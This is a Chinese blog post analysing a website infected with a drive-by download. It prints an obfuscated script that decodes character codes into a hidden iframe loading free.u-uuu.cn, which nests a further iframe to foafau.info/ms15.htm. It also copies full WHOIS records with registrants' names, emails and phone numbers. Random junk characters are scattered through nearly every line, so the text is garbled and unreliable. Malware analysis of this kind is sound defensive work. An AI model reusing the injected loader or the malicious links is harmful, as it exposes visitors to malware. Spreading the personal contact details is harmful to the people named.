首发在我的博客里面，
l@~1CMyN :,urb* http://www.areway.cn/?p=175 0,;E.Py?. d*]Dv,#X NW }>pb9 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
#>MO] h85 (N <script>t=’60,105,102,114,97,109,101,
FLi(#9 32,115,114,99,61,104,116,116,112,58,47,47,
M-}j9,oR` 102,114,101,101,46,117,45,117,117,117,46,99,
7W6eiUI' 110,47,101,114,114,111,114,46,104,116,109,
`4$4bX rP' 32,119,105,100,116,104,61,49,48,48,32,104,
D)f5pEq' 101,105,103,104,116,61,48,62,60,47,105,102,
MT;SRAmUr 114,97,109,101,62′;
%"1`
NT t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
b nA T,v{ YJ &lB&xH <script>t=’60,105,102,114,97,109,101,32,115,
2 ]?w~qjWm 114,99,61,104,116,116,112,58,47,47,102,114,
/ c4;3>I S 101,101,46,117,45,117,117,117,46,99,110,47,
HVtr,jg 101,114,114,111,114,46,104,116,109,32,119,
R-=_z 6< 105,100,116,104,61,49,48,48,32,104,101,105,
E1$Hu{ 103,104,116,61,48,62,60,47,105,102,114,97,
5xG|35Pj 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
\[@ Q}k[ document.write(t);</script>
Y\+(r C27 #
q0 Ub- <html xmlns=”
UY ?i E= http://www.w3.org/1999/xhtml vgU hN_rK “>
(#!(Q)
] <head>
Pm qx ; <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
<`oCz Q1 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
+Q@/F~1@6@ <title>首页 - 爱生活家庭网
EX+={U|ua$ x`};{oz; 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
'd|Q4RE+W 转换字符串后的大概内容是（谁点击后果自付）：
fcgDU *A% <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
@Fm{6^ i6meY$l 查询玉米u-uuu.cn的详细信息：
N#<zEAB Domain Name: u-uuu.cn
O;"*_Xq(` ROID: 20070901s10001s64972306-cn
g: G%Ei~sF Domain Status: ok
"N?%mC PI Registrant Organization: 王雷
# i`A4D Registrant Name: 王雷
%igFHh? Administrative Email:
czlovexs@126.com GInZ53cQ Sponsoring Registrar: 北京万网志成科技有限公司
*F 26}q Name Server:ns.yovole.com
&CB.*\0 Name Server:ns1.yovole.com
hqhu^.}] Registration Date: 2007-09-01 17:54
1qB!RIau Expiration Date: 2008-09-01 17:54
h,!G7V 最后PING了一下地址 都没有什么….
>N+bU{s 1Y F+(fk 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
rW=k%#
p <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
hQd@bN8 <script language=”javascript” src=”
=j'J
!M http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script @%I_& !d >
p=mCK@ 这个玉米应该有可能是木马作者的：
v!pj v% foafau.info的详细信息：
l|R<F;| Access to INFO WHOIS information is provided to assist persons in
N$=(1`zM= determining the contents of a domain name registration record in the
|.Y@^z;P3 Afilias registry database. The data in this record is provided by
I,C AFq Afilias Limited for informational purposes only, and Afilias does not
AF9[2AH=Y guarantee its accuracy. This service is intended only for query-based
Mp^OL7p^^ access. You agree that you will use this data only for lawful purposes
#{)r*"% and that, under no circumstances will you use this data to: (a) allow,
pJ 2:` f<; enable, or otherwise support the transmission by e-mail, telephone, or
Z1)jRE2dl facsimile of mass unsolicited, commercial advertising or solicitations
cuV8# :
i to entities other than the data recipient’s own existing customers; or
F #!@}K8 (b) enable high volume, automated, electronic processes that send
=|qt !gY)Y queries or data to the systems of Registry Operator, a Registrar, or
]O mb : Afilias except as reasonably necessary to register domain names or
ok K/i modify existing registrations. All rights reserved. Afilias reserves
+q`r z the right to modify these terms at any time. By submitting this query,
t+W=2w& you agree to abide by this policy.
TQOg~lH Domain ID:D22418703-LRMS
S:2u 3th7 Domain Name:FOAFAU.INFO
/el["l Created On:20-Nov-2007 16:05:42 UTC
B"?+5A7 Last Updated On:20-Nov-2007 16:05:44 UTC
!i~x"1 Expiration Date:20-Nov-2008 16:05:42 UTC
}rj C_q Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
#x4h_K
Y Status:CLIENT DELETE PROHIBITED
?[hy|r6$ Status:CLIENT RENEW PROHIBITED
2 0Cie
q Status:CLIENT TRANSFER PROHIBITED
oPBg+ Bh* Status:CLIENT UPDATE PROHIBITED
yKe*<\ Status:TRANSFER PROHIBITED
&(H) gjH Registrant ID:GODA-040110615
`PQ?8z| Registrant Name:liu hong
niBjq#bJi Registrant Organization:
V#-qKV Registrant Street1:beijing
9QX ~a X Registrant Street2:
) $l9xx[ Registrant Street3:
z'\}/k+ Registrant City:beijing
p jKl)q Registrant State/Province:
m>*A0&??[ Registrant Postal Code:100000
E.H,1 { Registrant Country:CN
.@8m\ Registrant Phone:+86.860108888777
XL. CJ5y> Registrant Phone Ext.:
Z}'F"}QI Registrant FAX:
1{hoO<CJ Registrant FAX Ext.:
Z3abem<Q Registrant Email:bbbshiji@163.com
p^4;fD Admin ID:GODA-240110615
@qO8Jg"Q Admin Name:liu hong
]Jq k C4| Admin Organization:
Bp$+ F/ Admin Street1:beijing
Q~b M Admin Street2:
XRz%KVysp Admin Street3:
T $.-{I Admin City:beijing
UpszCY4 Admin State/Province:
R + kZLOE Admin Postal Code:100000
j
J`Z z Admin Country:CN
.5KC'? Admin Phone:+86.860108888777
xM'S
;Sg Admin Phone Ext.:
guU r1Ij Admin FAX:
xT=kxyu Admin FAX Ext.:
8~[C'+r Admin Email:bbbshiji@163.com
uJ)=+Exii Billing ID:GODA-340110615
f9 l<$l Billing Name:liu hong
i w~V_y4 Billing Organization:
VM2@{V/=~ Billing Street1:beijing
qm'C^ X? Billing Street2:
fa+ W9 Billing Street3:
C#**) Billing City:beijing
;Xd\$)n Billing State/Province:
[oU+b( Billing Postal Code:100000
yf #%)-7( Billing Country:CN
e>vUkP y Billing Phone:+86.860108888777
bE`* Uw4 Billing Phone Ext.:
XoxR5arj Billing FAX:
C tC`:!Q Billing FAX Ext.:
?`l=!>C4s Billing Email:bbbshiji@163.com
PgG |7=' Tech ID:GODA-140110615
[b
k&Nd[
Tech Name:liu hong
B0 oY]r6 Tech Organization:
~&[P`
Z$ Tech Street1:beijing
n?P 5pJ Tech Street2:
$?/Xk%d+ Tech Street3:
|3<ehvKy Tech City:beijing
uuUVE/^V' Tech State/Province:
{Y* ]Qc Tech Postal Code:100000
d*\C^:Z Tech Country:CN
&TkbnDuYd~ Tech Phone:+86.860108888777
uVuToMCp Tech Phone Ext.:
-o!,,XYj . Tech FAX:
]}l+ !NV< Tech FAX Ext.:
B [0,\> Tech Email:bbbshiji@163.com
Am0.c0h Name Server:NS27.DOMAINCONTROL.COM
\'LC C- Name Server:NS28.DOMAINCONTROL.COM
4 _U,-%/ Name Server:
l-^XW?CfL Name Server:
H;t8(-F@' Name Server:
't]EkH]BC Name Server:
iq^L~RW5e Name Server:
:UhFou_D4l Name Server:
6kF
uMtjc Name Server:
4gv XJK- Name Server:
'G3OZ j8 Name Server:
> ^v8N Name Server:
u$%#5_k Name Server:
[A..<[ k>0cTBY& 接着下载每个文件里面的代码：
(Y.$ wMB 一步一步看..
uQ%HLL-W/ 
P7x? !71?L 
GY$?^&OO> 
<9k}CXv2PK 
r4NT`&`g? 
2E ; %=e 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
